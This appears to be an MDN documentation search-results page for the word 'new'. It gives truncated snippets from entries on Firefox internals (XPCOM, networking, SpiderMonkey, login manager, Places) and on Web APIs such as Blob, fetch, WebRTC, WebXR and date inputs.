nsdocshell::internalload nsdocshell::douriload opens the nsichannel for the uri (ns_newchannel) if "http:", it will be an nsihttpchannel nsdocshell::dochannelload nsuriloader::openuri passes an nsistreamlistener pointer, 'loader' to nsuriloader::openchannel - it creates an nsdocumentopeninfo object, which implements nsistreamlistener, i.e.
...::beginconnect() creates nshttpconnectioninfo object for the channel checks if we're proxying or not fires off the dns prefetch request (dispatched to dns thread pool) some other things nshttpchannel::connect might to a speculativeconnect (pre open tcp socket) nshttpchannel::continueconnect some cache stuff nshttpchannel::setuptransaction creates new nshttptransaction, and inits it with mrequesthead (the request headers) and muploadstream (which was created from the request data in channel setup) gets an nsiasyncinputstream (for the response; corresponds to the nspipeinputstream for the response stream pipe) passes it to nsinputstreampump nshttpchannel::ghttphandler->initiatetransaction (called from connect) this is the glob...
... nshttpconnectionmgr::postevent creates an nsconnevent with params including the handler function, nshttpconnectionmgr::onmsgnewtransaction, and the recently created nshttptransaction.
...And 3 more matches
Exact Stack Rooting
this means it must be manually traced by the object's owner: this is both fragile and more expensive than using an extra reserved slot, or even just putting a new property on the object.
...}; rootedobject obj(cx, newobject(cx, &fooclass, nullptr(), nullptr(), &obj)); rootedvalue v(cx, object_to_value(othergcthing)); jsobject::setreservedslot(obj, 0, v); storing a gcpointer on the cheap todo: tracing and heapptr storing a gcpointer on the cstack gcpointers stored on the cstack are special.
...even though creating a new js::rootedt is cheap, it is silly to repeat this work for every new call frame.
...And 3 more matches
JSPropertyOp
getters and setters when a jsapi application creates a property on an object (for example, using js_defineproperty or js_defineproperties) it can specify getter and setter callbacks for the new property.
... jsclass hooks jsclass offers following hooks: jspropertyop jsclass.addproperty is called just after a new property is added to an object.
...on success, the post-callback value of *vp becomes the initial stored value of the new property.
...And 3 more matches
JS_malloc
syntax void * js_malloc(jscontext *cx, size_t nbytes); void * js_realloc(jscontext *cx, void *p, size_t oldbytes, size_t newbytes); char * js_strdup(jscontext *cx, const char *s); void js_free(jscontext *cx, void *p); name type description cx jscontext * pointer to a js context.
...failing that, js_realloc allocates a new region of size nbytes and copies as much of the existing data in p as will fit to the new region.
... then it frees the region at p and returns a pointer to the new region.
...And 3 more matches
SpiderMonkey 45
it also contains new language and api features described in detail below.
... please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup.
... new javascript language features javascript 45 includes significant updates to its language features, yo.
...And 3 more matches
Querying Places
use nsinavhistoryservice.getnewquery() and nsinavhistoryservice.getnewqueryoptions() to retrieve empty objects.
...let options = placesutils.history.getnewqueryoptions(); // no query parameters will return everything let query = placesutils.history.getnewquery(); // execute the query let result = placesutils.history.executequery(query, options); result types nsinavhistoryqueryoptions has a resulttype property that allows configuration of the grouping and level of detail to be returned in the results.
...a new session starts when the user types a new url or follows a bookmark (xxx link to more details about what constitutes a session).
...And 3 more matches
Starting WebLock
this is where a new service that manages sets of related data comes in handy.
...the direct method is to add a new nsifile object using the nsiproperties interface, in which case you pass the nsifile object as an nsisupports to the set() method of the nsiproperties interface.
...} if (buf) free(buf); the first line of the code calls queryinterface on thefile, and if that succeeds assigns the new interface pointer to localfile.
...And 3 more matches
Components.Constructor
summary creates a javascript function which can be used to create or construct new instances of xpcom components.
... syntax var func = [ new ] components.constructor(contractid [, interfacename [, initializer ] ]); parameters contractid a string containing the contract id of the component interfacename if given, nsisupports.queryinterface() will be called on each newly-created instance with the interface named by this string initializer if given, a string containing the name of a function which will be called on the newly-created instance, using the arguments provided to the created function when called description components.constructor() is a handy shortcut for creating instances of xpcom components.
...for example: var binaryinputstream = components.constructor("@mozilla.org/binaryinputstream;1"); var bis = new binaryinputstream(); print(bis.tostring()); // "[xpconnect wrapped nsisupports]" try { // someinputstream is an existing nsiinputstream // throws because bis hasn't been qi'd to nsibinaryinputstream bis.setinputstream(someinputstream); } catch (e) { bis.queryinterface(components.interfaces.nsibinaryinputstream); bis.setinputstream(someinputstream); // succeeds now } if two arguments ...
...And 3 more matches
nsIAccessibleRetrieval
create a new accessible of the appropriate type if necessary, or use one from the accessibility cache if it already exists.
...create a new accessible of the appropriate type if necessary, or use one from the accessibility cache if it already exists.
...create a new accessible of the appropriate type if necessary, or use one from the accessibility cache if it already exists.
...And 3 more matches
nsICache
access_write 2 access requested - i have something new i want to write into the cache, make me a new entry and doom the old one, if any.
... access_read_write 3 access requested - i want to read, but i'm willing to update an existing entry if necessary, or create a new one if none exists.
...if a cache entry is waiting to be validated by another cache descriptor (so no new cache descriptors for that key can be created), opencacheentry() will return ns_error_cache_wait_for_validation in non-blocking mode.
...And 3 more matches
nsILoginManager
] out nsilogininfo logins); void getalldisabledhosts([optional] out unsigned long count, [retval, array, size_is(count)] out wstring hostnames); void getalllogins([optional] out unsigned long count, [retval, array, size_is(count)] out nsilogininfo logins); boolean getloginsavingenabled(in astring ahost); void modifylogin(in nsilogininfo oldlogin, in nsisupports newlogindata); void removealllogins(); void removelogin(in nsilogininfo alogin); void searchlogins(out unsigned long count, in nsipropertybag matchdata, [retval, array, size_is(count)] out nsilogininfo logins); void setloginsavingenabled(in astring ahost, in boolean isenabled); methods addlogin() stores a new login in the login manager.
... modifylogin() modifies an existing login by replacing it with a new one.
... if newlogindata is a nsilogininfo, all of the old login's nsilogininfo properties are changed to the values from newlogindata (but the old login's nsiloginmetainfo properties are unmodified).
...And 3 more matches
nsILoginManagerPrompter
to call this service, use: var loginmanagerprompter = components.classes["@mozilla.org/login-manager/prompter;1"] .getservice(components.interfaces.nsiloginmanagerprompter); method overview void init(in nsidomwindow awindow); void prompttochangepassword(in nsilogininfo aoldlogin, in nsilogininfo anewlogin); void prompttochangepasswordwithusernames([array, size_is(count)] in nsilogininfo logins, in pruint32 count, in nsilogininfo anewlogin); void prompttosavepassword(in nsilogininfo alogin); methods init() initialize the prompter.
... void prompttochangepassword( in nsilogininfo aoldlogin, in nsilogininfo anewlogin ); parameters aoldlogin the existing login (with the old password).
... anewlogin the new login.
...And 3 more matches
nsILoginManagerStorage
tional] out unsigned long count, [retval, array, size_is(count)] out nsilogininfo logins); void getalllogins([optional] out unsigned long count, [retval, array, size_is(count)] out nsilogininfo logins); boolean getloginsavingenabled(in astring ahost); void init(); void initwithfile(in nsifile ainputfile, in nsifile aoutputfile); void modifylogin(in nsilogininfo oldlogin, in nsisupports newlogindata); void removealllogins(); void removelogin(in nsilogininfo alogin); void searchlogins(out unsigned long count, in nsipropertybag matchdata, [retval, array, size_is(count)] out nsilogininfo logins); void setloginsavingenabled(in astring ahost, in boolean isenabled); attributes attribute type description uibusy boolean true when a master password prompt is being shown.
... methods addlogin() called by the login manager to store a new login.
...if newlogindata is specified as an nsilogininfo object, all of the old login's properties are changed to the values from the newlogindata parameter.
...And 3 more matches
nsIMemory
method overview voidptr alloc(in size_t size); violates the xpcom interface guidelines void free(in voidptr ptr); violates the xpcom interface guidelines void heapminimize(in boolean immediate); boolean islowmemory(); deprecated since gecko 2.0 voidptr realloc(in voidptr ptr, in size_t newsize); violates the xpcom interface guidelines methods alloc allocates a block of memory of a particular size.
...otherwise, it returns a pointer to the newly allocated memory segment.
... realloc() reallocates a block of memory to a new size.
...And 3 more matches
Building an Account Manager Extension
furthermore we show the new panel only for imap accounts...
...devmoaccountmanagerextension.prototype.contractid = "@mozilla.org/accountmanager/extension;1?name=example@mozilla.org"; // add the component to the mailnews-accountmanager-extensions category devmoaccountmanagerextension.prototype._xpcom_categories: [{ category: "mailnews-accountmanager-extensions" }], // create entry point for the module if (xpcomutils.generatensgetfactory) var nsgetfactory = xpcomutils.generatensgetfactory([devmoaccountmanagerextension]); else var nsgetmodule = xpcomutils.generatensgetmodule([devmoaccountmanagerextension]); ...
... step3: create the new panel as next step we create the xul and the property file for your new panel.
...And 3 more matches
nsIMsgMessageService
amsgwindow nsimsgwindow for progress and status feedback return values aurl the new nsiuri of the message.
... aurllistener an nsiurllistener amsgwindow nsimsgwindow for progress and status feedback return values aurl the new nsiuri of the message.
... return values aurl the new nsiuri of the message.
...And 3 more matches
nsIProtocolProxyService
= components.classes["@mozilla.org/network/protocol-proxy-service;1"] .getservice(components.interfaces.nsiprotocolproxyservice); method overview deprecated since gecko 18 nsiproxyinfo resolve(in nsiuri auri, in unsigned long aflags); nsicancelable asyncresolve(in nsiuri auri, in unsigned long aflags,in nsiprotocolproxycallback acallback); nsiproxyinfo newproxyinfo(in acstring atype, in autf8string ahost,in long aport, in unsigned long aflags, in unsigned long afailovertimeout, in nsiproxyinfo afailoverproxy); nsiproxyinfo getfailoverforproxy(in nsiproxyinfo aproxyinfo, in nsiuri auri, in nsresult areason); void registerfilter(in nsiprotocolproxyfilter afilter, in unsigned long aposition); void unregisterfilter(in nsiprot...
... if the protocol handler for the given uri supports nsiproxiedprotocolhandler, then the nsiproxyinfo instance returned from resolve may be passed to the nsiproxiedprotocolhandler.newproxiedchannel() method to create a nsichannel to the given uri that uses the specified proxy.
...see nsiproxiedprotocolhandler.newproxiedchannel().
...And 3 more matches
Storage
for storage api help, you can post to mozilla.dev.apps.platform on the news server news.mozilla.org.
... binding multiple sets of parameters starting in gecko 1.9.2 (firefox 3.6), there's a new, more convenient way to bind multiple sets of parameters at once prior to executing your statement asynchronously.
... let stmt = dbconn.createstatement("insert into table_name (value) values(:value)"); let params = stmt.newbindingparamsarray(); for (let i = 0; i < 10; i++) { let bp = params.newbindingparams(); bp.bindbyname("value", i); params.addparams(bp); } stmt.bindparameters(params); you can attach multiple sets of bindings to a statement by adding multiple mozistoragebindingparams objects to the array of parameter lists, adding each one through calls to the mozistoragebindingparamsarray.addparams().
...And 3 more matches
Reference Manual
whenever you `point' the nscomptr at a different xpcom object (by assignment or initialization), it must release its old value, if any, and addref the new.
...the nscomptr releases its old value, if any, and then assigns in the new value, addrefing it and/or calling queryinterface as you direct by "annotating" the assignment with directives like dont_addref.
...nscomptr<t> = t*, nscomptr<t> = dont_queryinterface( t* ) the default behavior, shown in the table as t*, is to addref the new value, but not to call queryinterface against it.
...And 3 more matches
Working with Multiple Versions of Interfaces
we build construct our xpcom component so that first tries to get the interface by it's new iid, then if that fails, attempts plan b.
... the optimist's solution the first thing we do is replace line 6 above by our plan b: if (ns_failed(rv)){ return gethwndb(node); } //new line 6.
...rv = refp->getaccessiblefor(node, getter_addrefs(accnode)); if(ns_failed(rv)){ return self; } void *wh = null; nscomptr<nsiaccessibledocument> accdocnode; rv = accnode->queryinterface(iad_iid_old, getter_addrefs(accdocnode)); if(ns_failed(rv)){ return self; } rv = accdocnode->getwindowhandle(&wh); if(ns_succeeded(rv)){ self = static_cast<hwnd>(wh); } return self; } there is good news and bad news.
...And 3 more matches
XPCOM
it is a possiblity that is introduced when upgrading to a new compiler without recompiling everything.
...the new nsigenericfactory interface takes this a step further, by providing a single interface that can be reused anytime a simple implementation of nsifactory is needed.
...for more information on the workings of xpcom look elsewhere.how to pass an xpcom object to a new windowif you want to be able to call functions within an xpcom object from a xul window's code, you can do so if you pass the xpcom object as one of the arguments to the window creation method.interfacing with the xpcom cycle collectorthis is a quick overview of the cycle collector introduced into xpcom for firefox 3, including a description of the steps involved in modifying an existing c++ clas...
...And 3 more matches
Creating a Custom Column
one of the new and exciting features available to thunderbird extension developers in thunderbird 2.0 is the ability to easily create and handle custom columns in thunderbird's main view.
...our new column exists and is ready to be used.
... unfortunately the new column doesn't have any data in it and it doesn't react to sort clicks on it...
...And 3 more matches
js-ctypes reference
type constructors these are functions that define new types, and thus return a ctype object.
... these include ctypes.pointertype(type) and the .ptr property, which creates a new type describing a pointer to an existing type.
... ctypes.arraytype(type, [length]) and the .array() method, which creates a new type describing an array of objects of an existing type.
...And 3 more matches
Debugger.Memory - Firefox Developer Tools
debugger.memory the debugger api can help tools observe the debuggee’s memory use in various ways: it can mark each new object with the javascript call stack at which it was allocated.
... allocation site tracking the javascript engine marks each new object with the call stack at which it was allocated, if: the object is allocated in the scope of a global object that is a debuggee of some debugger instancedbg; and dbg.memory.trackingallocationsites is set to true.
...allocation site tracking is initially disabled in a new debugger.
...And 3 more matches
Edit fonts - Firefox Developer Tools
the new fonts editor.
... they are applied to the element as part of the browser's default styling (times new roman for most browsers), and no author-defined font has been supplied.
... fonts editor firefox 63 adds the font editor — a new area below "fonts used" with additional controls for editing the fonts’ characteristics.
...And 3 more matches
Examine and edit CSS - Firefox Developer Tools
you can: toggle pseudo-classes; toggle classes; add a new rule; change the display based on the color scheme preference (as of firefox 72, you must set devtools.inspector.color-scheme-simulation.enabled to true in the configuration editor to enable this feature); change the display based on print media rules.
... you can add a class to the element by typing a name in the add new class field below the rules toolbar.
...to add a new declaration to a rule, click on the last line of the rule (the line occupied by the closing brace).
...And 3 more matches
AbstractRange - Web APIs
nt within the text of an element, be sure to find the text node inside the element: let startelem = document.queryselector("p"); let endelem = startelem.queryselector("span"); let range = document.createrange(); range.setstart(startelem, 0); range.setend(endelem, endelem.childnodes[0].length/2); let contents = range.clonecontents(); document.body.appendchild(contents); this example creates a new range, rng, and sets its starting point to the third child node of the first element whose class is elementclass.
...for example, in this case, we're calling clonecontents() on the range to create a new documentfragment object providing a dom subtree which replicates the contents of the specfied range.
... in this example, the start of the specified range is found within the text node below the section's heading, which means that the new documentfragment will need to contain an <h2> and, below it, a text node.
...And 3 more matches
Background Tasks API - Web APIs
falling back to settimeout because the background tasks api is fairly new, your code may need to be able to work on browsers that don't yet support it.
... interfaces the background tasks api adds only one new interface: idledeadline an object of this type is passed to the idle callback to provide an estimate of how long the idle period is expected to last, as well as whether or not the callback is running because its timeout period has expired.
... the window interface is also augmented by this api to offer the new requestidlecallback() and cancelidlecallback() methods.
...And 3 more matches
Blob - Web APIs
WebAPIBlob
constructor blob() returns a newly created blob object which contains a concatenation of all of the data in the array passed into the constructor.
... blob.prototype.slice() returns a new blob object containing the data in the specified range of bytes of the blob on which it's called.
...for example, to construct a blob from a json string: const obj = {hello: 'world'}; const blob = new blob([json.stringify(obj, null, 2)], {type : 'application/json'}); creating a url representing the contents of a typed array the following code creates a javascript typed array and creates a new blob containing the typed array's data.
...And 3 more matches
DOMParser - Web APIs
WebAPIDOMParser
in the case of an html document, you can also replace portions of the dom with new dom trees built from html by setting the value of the element.innerhtml and outerhtml properties.
... syntax let domparser = new domparser()​​ methods domparser.parsefromstring() syntax let doc = domparser.parsefromstring(string, mimetype) return either document or xmldocument depending on the mimetype argument.
...mimetype doc.constructor text/html document text/xml xmldocument application/xml xmldocument application/xhtml+xml xmldocument image/svg+xml xmldocument examples parsing xml once you have created a parser object, you can parse xml from a string using the parsefromstring() method: let parser = new domparser() let doc = parser.parsefromstring(stringcontainingxmlsource, "application/xml") error handling note that if the parsing process fails, the domparser does not throw an exception, but instead returns an error document: <parsererror xmlns="http://www.mozilla.org/newlayout/xml/parsererror.xml"> (error description) <sourcetext>(a snippet of the source xml)</sourcetext> </parsererror...
...And 3 more matches
DOMPoint.DOMPoint() - Web APIs
WebAPIDOMPointDOMPoint
the dompoint() constructor creates and returns a new dompoint object, given the values for some or all of its properties.
... syntax point = new dompoint(x, y, z, w); parameters x optional the x coordinate for the new dompoint.
... y optional the y coordinate for the new dompoint.
...And 3 more matches
Element.innerHTML - Web APIs
WebAPIElementinnerHTML
replacing the contents of an element setting the value of innerhtml lets you easily replace the existing contents of an element with new content.
...then the value of innerhtml is changed to this new string.
...doing so causes the user agent to follow these steps: the specified value is parsed as html or xml (based on the document type), resulting in a documentfragment object representing the new set of dom nodes for the new elements.
...And 3 more matches
FileSystemFileEntry - Web APIs
methods file() creates a new file object which can be used to read the file.
... obsolete methods createwriter() creates a new filewriter object which allows writing to the file represented by the file system entry.
... fileentry.createwriter(function(filewriter) { filewriter.onwriteend = function(e) { console.log('write completed.'); }; filewriter.onerror = function(e) { console.log('write failed: ' + e.tostring()); }; // create a new blob and write it to log.txt.
...And 3 more matches
Using microtasks in JavaScript with queueMicrotask() - Web APIs
tasks get added to the task queue when: a new javascript program or subprogram is executed (such as from a console, or by running the code in a <script> element) directly.
... second, if a microtask adds more microtasks to the queue by calling queuemicrotask(), those newly-added microtasks execute before the next task is run.
...consider code such as this: customelement.prototype.getdata = url => { if (this.cache[url]) { this.data = this.cache[url]; this.dispatchevent(new event("load")); } else { fetch(url).then(result => result.arraybuffer()).then(data => { this.cache[url] = data; this.data = data; this.dispatchevent(new event("load")); }); } }; the problem introduced here is that by using a task in one branch of the if...else statement (in the case in which the image is available in the cache) but having promises involved in the el...
...And 3 more matches
Headers.set() - Web APIs
WebAPIHeadersset
the set() method of the headers interface sets a new value for an existing header inside a headers object, or adds the header if it does not already exist.
... the difference between set() and headers.append is that if the specified header already exists and accepts multiple values, set() overwrites the existing value with the new one, whereas headers.append appends the new value to the end of the set of values.
... syntax myheaders.set(name, value); parameters name the name of the http header you want to set to a new value.
...And 3 more matches
IDBDatabaseSync - Web APIs
methods createobjectstore() creates and returns a new object store with the given name in the connected database.
... idbobjectstoresync createobjectstore( in domstring name, in domstring keypath, in optional boolean autoincrement ) raises (idbdatabaseexception); parameters name the name of a new object store.
... keypath the key path used by the new object store.
...And 3 more matches
ImageData() - Web APIs
the imagedata() constructor returns a newly instantiated imagedata object built from the typed array given and having the specified width and height.
... syntax new imagedata(array, width [, height]); new imagedata(width, height); parameters array optional a uint8clampedarray containing the underlying pixel representation of the image.
... return value a new imagedata object.
...And 3 more matches
OfflineAudioContext.OfflineAudioContext() - Web APIs
the offlineaudiocontext() constructor—part of the web audio api—creates and returns a new offlineaudiocontext object instance, which can then be used to render audio to an audiobuffer rather than to an audio output device.
... syntax var offlineaudioctx = new offlineaudiocontext(numberofchannels, length, samplerate); var offlineaudioctx = new offlineaudiocontext(options); parameters you can specify the parameters for the offlineaudiocontext() constructor as either the same set of parameters as are inputs into the audiocontext.createbuffer() method, or by passing those parameters in an options object.
... it is important to note that, whereas you can create a new audiocontext using the new audiocontext() constructor with no arguments, the offlineaudiocontext() constructor requires three arguments, since it needs to create an audiobuffer.
...And 3 more matches
Web Push API Notifications best practices - Web APIs
searching the web for "web push notifications," you'll find articles from marketing experts who believe you should use push to re-engage people who have left your site so they can complete a purchase, or be sent the latest news, or receive links to recommended products.
... the dark side their novelty provides a new and unexploited opportunity for enterprising sites to reach potential customers.
...or is it a new iteration on the old and tired pop-up ad?
...And 3 more matches
RTCIceServers.urls - Web APIs
WebAPIRTCIceServerurls
a single ice server this example creates a new rtcpeerconnection which will use a stun server at stunserver.example.org to negotiate connections.
... mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "stun:stunserver.example.org" } ] }); notice that only the urls property is provided; the stun server doesn't require authentication, so this is all that's needed.
... a single ice server with authentication the second example creates a new rtcpeerconnection which will use a turn server at turnserver.example.org to negotiate connections.
...And 3 more matches
Request() - Web APIs
WebAPIRequestRequest
the request() constructor creates a new request object.
... syntax var myrequest = new request(input[, init]); parameters input defines the resource that you wish to fetch.
... example in our fetch request example (see fetch request live) we create a new request object using the constructor, then fetch it using a globalfetch.fetch call.
...And 3 more matches
ResizeObserverEntry - Web APIs
the resizeobserverentry interface represents the object passed to the resizeobserver() constructor's callback function, which allows you to access the new dimensions of the element or svgelement being observed.
... properties resizeobserverentry.borderboxsize read only an object containing the new border box size of the observed element when the callback is run.
... resizeobserverentry.contentboxsize read only an object containing the new content box size of the observed element when the callback is run.
...And 3 more matches
Resize Observer API - Web APIs
the window resize event), then figure out what the new dimensions or other features of the element after a resize using element.getboundingclientrect or window.getcomputedstyle, for example.
... usage is simple, and pretty much the same as other observers, such as performance observer or intersection observer — you create a new resizeobserver object using the resizeobserver() constructor, then use resizeobserver.observe() to make it look for changes to a specific element's size.
... a callback function set up inside the constructor then runs every time the size changes, providing access to the new dimensions and allowing you to do anything you like in response to those changes.
...And 3 more matches
StorageEvent - Web APIs
ont-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">storageevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} method overview void initstorageevent( in domstring type, in boolean canbubble, in boolean cancelable, in domstring key, in domstring oldvalue, in domstring newvalue, in usvstring url, in storage storagearea ); attributes attribute type description key domstring represents the key changed.
... newvalue domstring the new value of the key.
... the newvalue is null when the change has been invoked by storage clear() method or the key has been removed from the storage.
...And 3 more matches
TextEncoder.prototype.encodeInto() - Web APIs
var encoder = new textencoder; function encodeintoatposition(string, u8array, position) { return encoder.encodeinto(string, position ?
... u8array.subarray(position|0) : u8array); } var u8array = new uint8array(8); encodeintoatposition("hello", u8array, 2); console.log( "" + u8array.join() ); // 0,0,104,101,108,108,111,0 buffer sizing to convert a javascript string s, the output space needed for full conversion is never less than s.length bytes and never greater than s.length * 3 bytes.
...observe: var encoder = new textencoder; function encodeintowithsentinel(string, u8array, position) { var stats = encoder.encodeinto(string, position ?
...And 3 more matches
URL API - Web APIs
WebAPIURL API
let addr = new url("/docs/web/api/url_api"); let host = addr.host; let path = addr.pathname; the snippet above creates a url object for the article you're reading right now, then fetches the host and pathname properties.
... changing the url most of the properties of url are settable; you can write new values to them to alter the url represented by the object.
... for example, to create a url and set its username: let myusername = "someguy"; let addr = new url("https://mysite.com/login"); addr.username = myusername; setting the value of username not only sets that property's value, but it updates the overall url.
...And 3 more matches
A basic 2D WebGL animation example - Web APIs
"glcanvas"); gl = glcanvas.getcontext("webgl"); const shaderset = [ { type: gl.vertex_shader, id: "vertex-shader" }, { type: gl.fragment_shader, id: "fragment-shader" } ]; shaderprogram = buildshaderprogram(shaderset); aspectratio = glcanvas.width/glcanvas.height; currentrotation = [0, 1]; currentscale = [1.0, aspectratio]; vertexarray = new float32array([ -0.5, 0.5, 0.5, 0.5, 0.5, -0.5, -0.5, 0.5, 0.5, -0.5, -0.5, -0.5 ]); vertexbuffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, vertexbuffer); gl.bufferdata(gl.array_buffer, vertexarray, gl.static_draw); vertexnumcomponents = 2; vertexcount = vertexarray.length/vertexnumcomponents; currentangle = 0.0; rotationrate = 6; animatescene(); } afte...
... once the vertex array has been created, we create a new gl buffer to contain them by calling gl.createbuffer().
...h(function(desc) { let shader = compileshader(desc.id, desc.type); if (shader) { gl.attachshader(program, shader); } }); gl.linkprogram(program) if (!gl.getprogramparameter(program, gl.link_status)) { console.log("error linking shader program:"); console.log(gl.getprograminfolog(program)); } return program; } first, gl.createprogram() is called to create a new, empty, glsl program.
...And 3 more matches
A simple RTCDataChannel sample - Web APIs
set up the local peer localconnection = new rtcpeerconnection(); sendchannel = localconnection.createdatachannel("sendchannel"); sendchannel.onopen = handlesendchannelstatuschange; sendchannel.onclose = handlesendchannelstatuschange; the first step is to create the "local" end of the connection.
... set up the remote peer remoteconnection = new rtcpeerconnection(); remoteconnection.ondatachannel = receivechannelcallback; the remote end is set up similarly, except that we don't need to explicitly create an rtcdatachannel ourselves, since we're going to be connected through the channel established above.
... set up the ice candidates the next step is to set up each connection with ice candidate listeners; these will be called when there's a new ice candidate to tell the other side about.
...And 3 more matches
Using bounded reference spaces - Web APIs
navgator.xr.requestsession("immersive-vr"), { requiredfeatures: ["local-floor"], optionalfeatures: ["bounded-floor"] }).then((session) => { xrsession = session; startsessionanimation(); }); } } this function, called when the user clicks on a button to start the xr experience, works as usual, exiting at once if a session is already in place, then requesting a new session using immersive-vr mode.
... onsessionstarted(session) { xrsession = session; spacetype = "bounded-floor"; xrsession.requestreferencespace(spacetype) .then(onrefspacecreated) .catch(() => { spacetype = "local-floor"; xrsession.requestreferencespace(spacetype) .then(onrefspacecreated) .catch(handleerror); }); } function onrefspacecreated(refspace) { xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl) }); // now set up matrices, create a secondary reference space to // transform the viewer's pose, and so forth.
...in either case, successfully getting a reference space passes the new space into the function onrefspacecreated().
...And 3 more matches
Visualizations with Web Audio API - Web APIs
basic concepts to extract data from your audio source, you need an analysernode, which is created using the audiocontext.createanalyser() method, for example: var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); this node is then connected to your audio source at some point between your source and your destination, for example: source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(audioctx.destination); note: you don't need to connect...
... these methods copy data into a specified array, so you need to create a new array to receive the data before invoking one.
... analyser.fftsize = 2048; var bufferlength = analyser.frequencybincount; var dataarray = new uint8array(bufferlength); to actually retrieve the data and copy it into our array, we then call the data collection method we want, with the array passed as it's argument.
...And 3 more matches
WindowOrWorkerGlobalScope.fetch() - Web APIs
examples in our fetch request example (see fetch request live) we create a new request object using the relevant constructor, then fetch it using a fetch() call.
... const myimage = document.queryselector('img'); let myrequest = new request('flowers.jpg'); fetch(myrequest) .then(function(response) { if (!response.ok) { throw new error(`http error!
... status: ${response.status}`); } return response.blob(); }) .then(function(response) { let objecturl = url.createobjecturl(response); myimage.src = objecturl; }); in the fetch with init then request example (see fetch request init live), we do the same thing except that we pass in an init object when we invoke fetch(): const myimage = document.queryselector('img'); let myheaders = new headers(); myheaders.append('content-type', 'image/jpeg'); const myinit = { method: 'get', headers: myheaders, mode: 'cors', cache: 'default' }; let myrequest = new request('flowers.jpg'); fetch(myrequest, myinit).then(function(response) { // ...
...And 3 more matches
WindowOrWorkerGlobalScope.setInterval() - Web APIs
th - 1) { clean(); return; } ocurrent.nodevalue += spart.charat(0); spart = spart.slice(1); } function sheet (onode) { this.ref = onode; if (!onode.haschildnodes()) { return; } this.parts = array.prototype.slice.call(onode.childnodes); for (var nchild = 0; nchild < this.parts.length; nchild++) { onode.removechild(this.parts[nchild]); this.parts[nchild] = new sheet(this.parts[nchild]); } } var nintervid, ocurrent = null, btyping = false, bstart = true, nidx = 0, spart = "", asheets = [], amap = []; this.rate = nrate || 100; this.play = function () { if (btyping) { return; } if (bstart) { var aitems = document.queryselectorall(sselector); if (aitems.length === 0) { return; } for (var nitem = 0; nitem < ...
...aitems.length; nitem++) { asheets.push(new sheet(aitems[nitem])); /* uncomment the following line if you have previously hidden your elements via css: */ // aitems[nitem].style.visibility = "visible"; } bstart = false; } nintervid = setinterval(typewrite, this.rate); btyping = true; }; this.pause = function () { clearinterval(nintervid); btyping = false; }; this.terminate = function () { ocurrent.nodevalue += spart; spart = ""; for (nidx; nidx < asheets.length; scroll(asheets[nidx++], 0, false)); clean(); }; } /* usage: */ var otwexample1 = new typewriter(/* elements: */ '#article, h1, #info, #copyleft', /* frame rate (optional): */ 15); /* default frame rate is 100: */ var otwexample2 = new typewriter('#c...
... new feature test: myarray = ['zero', 'one', 'two']; myarray.mymethod = function (sproperty) { alert(arguments.length > 0 ?
...And 3 more matches
WritableStream.WritableStream() - Web APIs
the writablestream() constructor creates a new writablestream object instance.
... syntax var writablestream = new writablestream(underlyingsink[, queuingstrategy]); parameters underlyingsink an object containing methods and properties that define how the constructed stream instance will behave.
... write(chunk, controller) optional this method, also defined by the developer, will be called when a new chunk of data (specified in the chunk parameter) is ready to be written to the underlying sink.
...And 3 more matches
XRReferenceSpace - Web APIs
it expands upon the base class, xrspace, by adding support for several different tracking behaviors as well as to request a new reference space which describes the offset transform between the tracked object and another location in the world.
... getoffsetreferencespace() creates and returns a new reference space object as the same type as the one on which you call the method (so, either xrreferencespace or xrboundedreferencespace).
... the new reference space can be used to transform a coordinate from the reference space of the object on which the method is called into a different coordinate space.
...And 3 more matches
XRRigidTransform() - Web APIs
the xrrigidtransform() constructor creates and returns a new xrrigidtransform object, representing the position and orientation of a point or object.
... syntax let xrrigidtransform = new xrrigidtransform(position, orientation); parameters position optional an object conforming to dompointinit which specifies the coordinates at which the point or object is located.
... return value a new xrrigidtransform object which has been initialized to represent a transform matrix that would adjust the position and orientation of an object from the origin to the specified position and facing in the direction indicated by orientation.
...And 3 more matches
Audio and Video Delivery - Developer guides
web audio api var context; var request; var source; try { context = new audiocontext(); request = new xmlhttprequest(); request.open("get","http://jplayer.org/audio/mp3/riomez-01-sleep_together.mp3",true); request.responsetype = "arraybuffer"; request.onload = function() { context.decodeaudiodata(request.response, function(buffer) { source = context.createbuffersource(); source.buffer = buffer; source.connect(context.des...
... mediastream recording new standards are being rolled out to allow your browser to grab media from your mic or camera using getusermedia and record it instantly using the new mediarecorder api.
... the main mechanism is outlined below: navigator.mediadevices.getusermedia({audio:true}) .then(function onsuccess(stream) { var recorder = new mediarecorder(stream); var data = []; recorder.ondataavailable = function(e) { data.push(e.data); }; recorder.start(); recorder.onerror = function(e) { throw e.error || new error(e.name); // e.name is ff non-spec } recorder.onstop = function(e) { var audio = document.createelement('audio'); audio.src = window.url.createobjecturl(new blob(data)); } settimeout(function() { rec.stop(); }, 5000); }) .catch(function oner...
...And 3 more matches
<input type="date"> - HTML: Hypertext Markup Language
WebHTMLElementinputdate
we create a new <input> element, try setting its type to date, then immediately check what its type is — unsupporting browsers will return text, because the date type falls back to type text.
...allbackpicker = document.queryselector('.fallbackdatepicker'); var fallbacklabel = document.queryselector('.fallbacklabel'); var yearselect = document.queryselector('#year'); var monthselect = document.queryselector('#month'); var dayselect = document.queryselector('#day'); // hide fallback initially fallbackpicker.style.display = 'none'; fallbacklabel.style.display = 'none'; // test whether a new date input falls back to a text input or not var test = document.createelement('input'); try { test.type = 'date'; } catch (e) { console.log(e.description); } // if it does, run the code inside the if() {} block if(test.type === 'text') { // hide the native picker and show the fallback nativepicker.style.display = 'none'; fallbackpicker.style.display = 'block'; fallbacklabel.style.d...
...and years dynamically // (the months are always the same, therefore hardcoded) populatedays(monthselect.value); populateyears(); } function populatedays(month) { // delete the current set of <option> elements out of the // day <select>, ready for the next set to be injected while(dayselect.firstchild){ dayselect.removechild(dayselect.firstchild); } // create variable to hold new number of days to inject var daynum; // 31 or 30 days?
...And 3 more matches
<input type="datetime-local"> - HTML: Hypertext Markup Language
